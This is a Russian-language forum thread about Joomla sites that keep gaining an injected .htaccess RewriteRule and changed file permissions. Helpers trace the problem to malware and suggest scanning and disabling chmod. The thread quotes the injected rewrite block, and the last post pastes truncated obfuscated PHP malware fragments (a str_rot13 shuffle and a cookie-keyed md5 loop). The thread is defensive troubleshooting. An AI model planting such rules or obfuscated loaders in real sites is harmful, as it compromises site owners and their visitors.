0 Пользователей и 1 Гость просматривают эту тему.
  • 15 Ответов
  • 1435 Просмотров
*

Alina3000

  • Захожу иногда
  • 16
  • 0
Добрый день форумчане, нужна ваша помощь. Вообщем есть сайт viki54 ru. в .htaccess появляются записи RewriteRule
Спойлер
[свернуть]
И сайт перестаёт работать 500 ошибка, удаляю эти строки всё нормально, но потом опять со временем они появляются. доступ к файлу 444
*

draff

  • Практически профи
  • 2770
  • 171
  • step by step
Re: В.htaccess появляются записи RewriteRule
« Ответ #1 : 12.01.2016, 09:25:07 »
Joomla была обновлена до 3.4.8 ?
Ищите шелл, через который хакер получает доступ к файлам сайта   и сканер айболит в помощь.
 Регистрация запрещена в настройках сайта в админке?
*

Alina3000

  • Захожу иногда
  • 16
  • 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #2 : 12.01.2016, 13:43:25 »
Joomla! 3.4.3
Спасибо большое, айболитом проверю. Регистрацию запретили в админке, был ник hanel87 в админке с супер правами, его удалили.
А подскажите что делает этот код который вставели?
*

voland

  • Профи
  • 9498
  • 422
  • Эта строка съедает место на вашем мониторе
Re: В.htaccess появляются записи RewriteRule
« Ответ #3 : 12.01.2016, 13:44:35 »
Подпись читать!
*

badya

  • Новичок
  • 7
  • 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #4 : 18.04.2016, 08:55:21 »
Прошу совета, сам 3 дня не могу разобраться . В .htaccess появляется вод такой блок
Код
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule !(js|ico|gif|jpg|png|css|swf|flv|libraries|maint|admin|login|logout|reg) index.php [QSA,L]
</IfModule>
Из-за него не открываются html  и php файлы созданные вручную на сервере, выдаёт ошибку 404.
К примеру есть форма обратной связи, она оправляет почту через call.php, если в строку ту что ниже
Код
RewriteRule !(js|ico|gif|jpg|png|css|swf|flv|libraries|maint|admin|login|logout|reg) index.php [QSA,L]
дописываю к разрешённым форматам свой файл, всё работает, но через пару часов появляется сверху  опять этот блок, естественно без моей записи, и то что писал оказывается уже ниже и мои правки уже не работают.
Прошу совета как разрешить доступ к определённому файлу.
*

Филипп Сорокин

  • Практически профи
  • 1814
  • 138
Re: В.htaccess появляются записи RewriteRule
« Ответ #5 : 18.04.2016, 10:30:15 »
badya, выставите для .htaccess (а также для файла configuration.php) права доступа 644 (посмотрите, кстати, какие там установлены). Если не поможет, то выставите 444, но это паллиатив - нужно искать дырку. Не ставьте варез (взломанные платные и изменённые бесплатные расширения) - и не будет таких проблем.
« Последнее редактирование: 18.04.2016, 10:34:14 от Филипп Сорокин »
Ставь лайк, если согласен, и делай репост!

  => мои публикации
    => мои работы
      => спектр моих услуг
*

badya

  • Новичок
  • 7
  • 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #6 : 18.04.2016, 10:44:49 »
badya, выставите для .htaccess (а также для файла configuration.php) права доступа 644 (посмотрите, кстати, какие там установлены). Если не поможет, то выставите 444, но это паллиатив - нужно искать дырку. Не ставьте варез (взломанные платные и изменённые бесплатные расширения) - и не будет таких проблем.
Права на .htaccess стояли 0644, поставил 0444, посмотрю будут ли новые  записи появляться.
Просто интересно то, что у меня на joomle 4 сайта, и у всех в .htaccess появляется такая запись, в prastashop нет.
Вот я и думаю что это сама CMS правит .htaccess.
*

Филипп Сорокин

  • Практически профи
  • 1814
  • 138
Re: В.htaccess появляются записи RewriteRule
« Ответ #7 : 18.04.2016, 10:49:00 »
Цитировать
Вот я и думаю что это сама CMS правит .htaccess.
Это исключено. Вы подцепили вирус.
Ставь лайк, если согласен, и делай репост!

  => мои публикации
    => мои работы
      => спектр моих услуг
*

badya

  • Новичок
  • 7
  • 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #8 : 18.04.2016, 21:16:34 »
Это исключено. Вы подцепили вирус.
Поставил права на .htaccess файлы в 4 сайтах 0444, не прошло 5 часов, как права сменились на 0644, и запись появилась во всех снова
Код
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule !(js|ico|gif|jpg|png|css|swf|flv|libraries|maint|admin|login|logout|reg) index.php [QSA,L]
</IfModule>
Скачал один из сайтов и проверил на вирусы, чисто.
Даже не знаю куда копать.  (((
*

Филипп Сорокин

  • Практически профи
  • 1814
  • 138
Re: В.htaccess появляются записи RewriteRule
« Ответ #9 : 18.04.2016, 21:51:14 »
Цитировать
Даже не знаю куда копать.  (((
Запретить выполнение функции chmod, с помощью которой можно изменить права, затем смотреть в error.log на имя файла, который пытается изменить права - это и есть вирус.
Ставь лайк, если согласен, и делай репост!

  => мои публикации
    => мои работы
      => спектр моих услуг
*

badya

  • Новичок
  • 7
  • 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #10 : 18.04.2016, 22:46:01 »
Запретить выполнение функции chmod, с помощью которой можно изменить права, затем смотреть в error.log на имя файла, который пытается изменить права - это и есть вирус.
Тут я уже в тупике, запретить выполнение chmod я не знаю как(( Знаний не хватает.  Пытался найти информацию в интернете как это сделать, увы не нашёл.  Спасибо за то что пытались помочь.
*

Филипп Сорокин

  • Практически профи
  • 1814
  • 138
Re: В.htaccess появляются записи RewriteRule
« Ответ #11 : 18.04.2016, 22:52:16 »
В панели управления хостингом можно. У меня стоит cPanel, там это делается в настройках PHP:
Ещё можно в php.ini, если у вас есть к нему доступ: ссылка на мануал
« Последнее редактирование: 27.02.2017, 15:35:20 от Филипп Сорокин »
Ставь лайк, если согласен, и делай репост!

  => мои публикации
    => мои работы
      => спектр моих услуг
*

badya

  • Новичок
  • 7
  • 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #12 : 19.04.2016, 09:10:48 »
В панели управления хостингом можно. У меня стоит cPanel, там это делается в настройках PHP:
Спойлер
[свернуть]
Ещё можно в php.ini, если у вас есть к нему доступ: ссылка на мануал
Спасибо за наводку, у меня тоже сpanel, поставил запрет на chmod в настройках php. Буду наблюдать.
*

badya

  • Новичок
  • 7
  • 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #13 : 20.04.2016, 10:37:20 »
С сожалению вы были правы, это вирус, спасибо за помощь.
*

Филипп Сорокин

  • Практически профи
  • 1814
  • 138
Re: В.htaccess появляются записи RewriteRule
« Ответ #14 : 20.04.2016, 10:45:39 »
Нашли? Если да, то надо сканировать сайт специальным сканером, например "Айболитом".
Ставь лайк, если согласен, и делай репост!

  => мои публикации
    => мои работы
      => спектр моих услуг
*

badya

  • Новичок
  • 7
  • 0
Re: В.htaccess появляются записи RewriteRule
« Ответ #15 : 20.04.2016, 12:53:29 »
Нашли? Если да, то надо сканировать сайт специальным сканером, например "Айболитом".
Да, Айболитом нашёл, но решил доверить лечение профессионалу, я так, самоучка   ))), а он профи и берёт в принципе недорого.
Он мне посоветовал потом все сайты на Joomla обновить до последней версии после чистки.
Вот что Айболит считает вирусом, я HTML и CSS знаю, а php и скрипты для меня набор букв ))
…$s1[$i][$j]=$basea[$i*$dimension+$j];·$s2[$i][$j]= str_rot13($basea[($dimension*$dimension-1) -($i*$dimension+$j)]);·

…sxGCeyXbSw='));if(isset($_COOKIE['sP'])){$wp_l_=$_COOKIE['sP'];$wp_l_=md5($wp_l_ ).substr(MD5(strrev($wp_l_)),0,strlen($wp_l_));for($wp___l_=0;$wp___l_<15563;$w

А вот что пишет Google при поиске сайта по доменному имени
<<Возможно, этот сайт был взломан>>
Ещё раз спасибо за отзывчивость. Спасибо.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Блокировка IP стран в HTACCESS

Автор IgorParmenov

Ответов: 20
Просмотров: 798
Последний ответ 25.08.2017, 08:42:04
от dmitry_stas
htaccess при https

Автор Semukha

Ответов: 51
Просмотров: 1036
Последний ответ 27.07.2017, 14:35:25
от dmitry_stas
htaccess и перенаправление

Автор zotov24

Ответов: 27
Просмотров: 465
Последний ответ 24.07.2017, 12:09:23
от vipiusss
Не могу настроить htaccess

Автор kilnart

Ответов: 2
Просмотров: 101
Последний ответ 21.07.2017, 20:05:09
от kilnart
Кэш htaccess по Google speed

Автор Semukha

Ответов: 5
Просмотров: 136
Последний ответ 19.02.2017, 00:26:12
от Septdir